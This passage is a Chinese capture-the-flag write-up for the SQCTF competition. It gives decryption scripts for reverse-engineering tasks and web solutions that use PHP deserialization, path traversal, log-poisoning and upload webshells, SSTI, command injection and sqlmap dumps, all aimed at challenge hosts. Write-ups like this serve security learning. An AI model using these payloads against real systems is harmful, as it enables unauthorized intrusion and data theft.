v[0] -= ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z));
y = v[0];
sum -= 0x9E3779B9;
} while (sum != 0);
}
int main() {
uint32_t key[4] = {0x12345678 ,0x9ABCDEF0 ,0xFEDCBA98 ,0x87654321};
uint32_t data[] = {0x8F748963 ,0xCB1D96A8};
int data_len = sizeof(data) / sizeof(data[0]);
printf("Original Data:\n");
for (int i = 0; i < data_len; i++) {
printf("%u\n", data[i]);
}
xxtea_decrypt(data, data_len, key);
printf("Decrypted Data (Printable Characters):\n");
for (int i = 0; i < data_len; i++) {
char c = (char)data[i];
printf("%c%c%c%c",*((char*)&data[i]+0),*((char*)&data[i]+1),*((char*)&data[i]+2),*((char*)&data[i]+3));//这个地方也是很重要的
}
printf("\n");
return 0;
}
即随本心
pyinstxtractor.py 即随本心.exe
丢在线网站
https://tool.lu/pyc/
简单看了一下,经过aes再经过base64
Key和iv都给了,直接上脚本
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
# 给定的数据
expected_encrypted_data = 'MTIzNDU2Nzg5MGFiY2RlZpOn0SHxbVMvaa7jQztMCBtCCiuX+ZRBzSfcL01St5Bmi8BjGeuXliictrjqzSpCGw=='
# 解码base64
decoded_data = base64.b64decode(expected_encrypted_data)
# 提取IV和密文
iv = decoded_data[:16] # 前16字节是IV
ciphertext = decoded_data[16:] # 剩余部分是密文
# 使用相同的密钥
key = b'1234567890abcdef'
# 创建AES解密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 解密
padded_plaintext = cipher.decrypt(ciphertext)
# 去除填充
try:
plaintext = unpad(padded_plaintext, AES.block_size)
print("解密成功!Flag是:", plaintext.decode('utf-8'))
except ValueError:
print("解密失败,可能是填充不正确")
唧唧复唧唧,木兰当户织
Ida打开看了一下有upx
Upx-d 唧唧复唧唧,木兰当户织.exe
查看代码,就一个base64
随波逐流SQCTF{xixibuxixi,mulandanghuzhi}把中文字改成英文字符
看山不是山
pyinstxtractor.py 看水不是水.exe
丢在线网站https://tool.lu/pyc/
可以看出是伪随机,没学过,ai一把梭
def decrypt(encrypted_data):
result = []
key = 439041101 # 0x1A2B3C4D
for i in range(len(encrypted_data)):
byte = encrypted_data[i]
# 逆向加法操作
byte = (byte - i) & 255
# 逆向异或操作
byte = (byte ^ (key >> ((i % 4) * 8))) & 255
result.append(byte)
return bytes(result)
# 目标加密数据
target = bytes.fromhex('738495a6b7c8d9e0f123456789abcdef')
# 解密得到原始输入
original_data = decrypt(target)
print("原始输入:", original_data)
print("十六进制:", original_data.hex())
SQCTF{3ebfb8b9fefff8c3a426104630a294fa}
击败abyssun
呜呜呜,被游戏逆向思维误导了
一直搁那搜血量,干了一个小时
后面搜红温了才想起来flag头固定
直接用CE搜SQCTF
拉下来改长度50
WEB
ezgame
MyBlog
Eeaassyy
嘿嘿嘿
ai分析代码,
绕过 md5($data->file) === md5("flag.php") 检查
使用 yyy 类对象作为 $data->file,因为 md5() 会调用 __toString(),而 yyy 的 __toString() 返回文件内容,不等于 md5("flag.php")。
绕过 strpos($data->file, 'php://') !== false 检查
确保 $data->file 不包含 php://,直接用 yyy 类读取 flag.php。
绕过 $data->content === "GET_FLAG" 检查
直接设置 $data->content = "GET_FLAG",触发 file_get_contents("flag.php")。
避免 hhh 类的干扰
如果 $data 是 hhh 类,可能会触发 __destruct() 导致写入文件失败,因此改用 stdClass 作为 $data。
data=O:3:"hhh":2:{s:4:"file";O:3:"yyy":2:{s:4:"path";s:8:"flag.php";s:7:"allowed";b:1;}s:7:"content";s:8:"GET_FLAG";}
改post请求
Data=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A4%3A%22file%22%3BO%3A3%3A%22yyy%22%3A2%3A%7Bs%3A4%3A%22path%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22allowed%22%3Bb%3A1%3B%7Ds%3A7%3A%22content%22%3Bs%3A8%3A%22GET_FLAG%22%3B%7D
Through
题目提示Through,让ai写个路径穿越脚本
import requests
import re
def try_path_traversal(url, max_depth=10):
headers = {
"Host": "challenge.qsnctf.com:30734",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9,en-GB;q=0.8,en-US;q=0.7,en;q=0.6,zh-HK;q=0.5,zh-TW;q=0.4",
"Connection": "close"
}
# 更新后的正则表达式模式
flag_patterns = [
r'qsctf\{[^}]+\}',
r'QSCTF\{[^}]+\}',
r'sqctf\{[^}]+\}', # 新增这个模式
r'SQCTF\{[^}]+\}',
r'flag\{[^}]+\}',
r'FLAG\{[^}]+\}'
]
for depth in range(1, max_depth + 1):
payload = "....//" * depth + "flag"
params = {"file": payload}
try:
print(f"\n=== 尝试深度 {depth} ===")
print(f"请求Payload: {payload}")
response = requests.get(url, headers=headers, params=params)
print(f"响应状态码: {response.status_code}")
print("响应内容:")
print("-" * 40)
print(response.text)
print("-" * 40)
if response.status_code == 200:
for pattern in flag_patterns:
matches = re.findall(pattern, response.text)
if matches:
print(f"\n[+] 发现flag格式内容:")
for match in matches:
print(match)
return True
print("[*] 未检测到flag格式")
else:
print("[-] 请求未成功")
except Exception as e:
print(f"[!] 请求出错: {str(e)}")
print("\n[!] 所有尝试完成")
return False
if __name__ == "__main__":
target_url = "http://challenge.qsnctf.com:30734/index.php"
print(f"[*] 开始对 {target_url} 进行路径穿越测试...")
try_path_traversal(target_url)
# sqctf{ddd0d90fd72245218ada79dfcddbe39f}
baby include
题目提示文件包含
分析代码发现过滤了php、data、filter、input等关键字
测速了一下,过滤了很多协议
但是尝试一下日志文件能获取
利用日志文件包含,在ua请求头加上一句话木马
用蚁剑链接得到flag
Upload_Level1
上传png后缀,用bp抓包,改成php后缀,添加一句话木马
上传完访问路径,用蚁剑链接
商师一日游
拼接/atc1acrd.html 得到sqctf{和/atc2cnzd.php
进入atc2cnzd.php提示把cookie改成ststrong得到3f98和atc3oklm.php
进入atc3oklm.php打开网络得到66bb3d和atc4zztg.php
进入atc4zztg.php提示进入robots.txt得到594b65a和atc5uupl.php
进入atc5uupl.php发现一个
使用使用php%0ax绕过得到4b8e3b04和/atc6ertg.php
进入atc6ertg.php 有个按钮把disabled去掉
得到c7fba
最后一个后门函数,用蚁剑链接
查看文件最后的flag
唯一
Wappalyzer分析python flask想到ssti
Fenjin一把梭
提交表单完成,返回值为200,输入为{'note': "{%set um=lipsum|escape|batch(22)|first|last%}{{((lipsumum+um+'globals'+um+umum+um+'i''mport'+um+um).popen('cat /f''lag')).read()}}"},表单为{'action': '/', 'method': 'GET', 'inputs': {'note'}}
逃
Ai一把梭
这个题目的关键在于反序列化时对用户输入的 payload 做了简单的字符串替换过滤,只替换了 "flag" 和 "php" 这两个字符串,而并没有对其他内容做严格校验。只要构造一个合法的序列化对象,并让对象的属性 pswd 被赋值为 "escaping",就可以让 if 判断成立,从而输出 flag。
在 PHP 中,对象序列化后大概是这样的格式:
php-template
复制编辑
O:
对于题目中给出的类 test,构造的 payload 可以如下:
css
复制编辑
O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}
解释如下:
• O:4:"test" 表示对象的类名是 "test",长度为 4。
• 2 表示这个对象有两个属性。
• s:4:"user";s:4:"test"; 表示属性名 "user"(长度为4)的值为 "test"(长度为4)。
• s:4:"pswd";s:8:"escaping"; 表示属性名 "pswd"(长度为4)的值为 "escaping"(长度为8)。
由于 payload 中没有出现 "flag" 或 "php" 这两个被过滤的字符串,所以 filter() 函数不会做替换,反序列化后生成的对象正好满足 if 判断条件,从而输出 flag。
你可以将这个 payload 作为 GET 参数传递,例如:
ruby
复制编辑
?payload=O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";}
这样就能绕过过滤器获取 flag 了。
File_download
访问页面点击help.txt
根据页面的提示访问,泄露了Servlet程序的路由映射信息,我们可以直接访问拼接/FlagManager,根据com.ctf.flag.Flagmanager
得出下载文件的路径
http://challenge.qsnctf.com:32611/DownloadServlet?filename=WEB-INF/classes/com/ctf/flag/FlagManager.class
访问发现文件无法直接下载
尝试使用bp抓包
通过更改请求方式发现有数据回显
把他丢到拦截里放包
可以下载一个claas文件
丢到idea里
得到一个加密函数
简单看了一下一个int[]+38^48的操作
直接用Python逆向
key = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]
flag = []
for k in key:
decrypted_char = (k ^ 48) - 38
flag.append(chr(decrypted_char))
print("Flag:", ''.join(flag))
得到85caad1c-33e3-0bc1-6d5e-a73b044f7d9f
加上flag头就是flag
Ping
Ai一把梭
http://challenge.qsnctf.com:31140/?ip=127.0.0.1|cat+/flag
白月光
看到flask直接想到ssti fenjing一把梭
抓个包看表名name post请求
Fenjin一把梭
小小查询系统
题目提示sql,用sqlmap跑一遍确实有注入点
用sqlmap跑一下表名发现有ctf表
sqlmap -u 'http://challenge.qsnctf.com:32607/?id=1' –dbs
查询数据表名有flag列
sqlmap -u 'http://challenge.qsnctf.com:32607/?id=1' -D 'ctf' –tables
直接dump
sqlmap -u 'http://challenge.qsnctf.com:32607/?id=1' -D 'ctf' -T 'flag' –dump
RceMe
分析代码,允许小于5的字符执行
尝试cat ls不行,尝试nl /*可以绕过
http://challenge.qsnctf.com:31541/?com=nl%20/*
Input a number
要绕过检查,需要满足两个条件:传入的值不等于114514,但经intval($num, 0)转换后等于114514。利用PHP对进制自动识别的特性,使用十六进制或二进制形式的输入。
步骤解析:
- 第一个条件$num == 114514:PHP会将字符串转换为数字进行比较。对于十六进制字符串(如0x1BF52),PHP在松散比较时将其视为0(因为0x后的部分不被十进制识别),因此不等于114514。
- 第二个条件intval($num, 0):intval的第二个参数为0时会自动识别进制。十六进制0x1BF52会被正确转换为十进制114514。
最终Payload:
将sqctf参数设为十六进制的0x1BF52:
复制
?sqctf=0x1BF52
验证:
• 0x1BF52作为字符串传入,松散比较时被转为0,不触发die。
• intval("0x1BF52", 0)解析为114514,满足条件,输出flag。
Input a number
利用浮点数截断特性
PHP在处理字符串到数字的转换时,若字符串包含小数点(如114514.1),松散比较会将其视为浮点数,而intval会截断小数部分,保留整数部分。
http://challenge.qsnctf.com:30914/?sqctf=114514.1
Upload_Level2
上传png后缀,用bp抓包,改成php后缀,添加一句话木马
上传完访问路径,用蚁剑链接
无参之舞
新打开一个标签页,打开F12可以看到账号
密码爆破1q2w3e4r
进入得到一个rce测试网站经过很多测试,
经过很多测试,发现过滤了很多函数,先看看下面当前目录下面有什么文件
构造payload为:
http://challenge.qsnctf.com:30627/?exp=var_dump(scandir(%27.%27));
再使用函数file_get_contents函数获取文件内容
构造完整的payload为:
/?exp=?><?=file_get_contents('f'.'1'.'ag.p'.'hp')?>
baby rce
分析代码查看需要过两关才能获得flag
第一步:绕过SHA1比较
利用PHP的弱类型比较和数组参数使sha1($param1) == sha1($param2)成立。
将param1和param2作为数组传递,因为sha1()处理数组会返回null,此时null == null成立。
Payload
?param1[]=a¶m2[]=b
第二步:调用静态方法获取Flag
利用call_user_func调用TYctf类的静态方法getKey。
POST请求参数:传递payload为TYctf::getKey或数组形式。
payload=TYctf::getKey
哎呀大大大黑塔
提示传入一个参数,提示了大黑塔和官方唯一角色PV猜测为bv号
传进去直接传重定向一个网页
反序列化
Payload
data=O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}
Json
访问给了一段代码
Ai直接秒了
Payload = O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}